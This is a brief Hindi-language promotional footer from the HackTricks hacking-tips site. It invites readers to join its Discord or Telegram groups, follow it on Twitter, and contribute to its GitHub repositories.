- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।
HackTricks

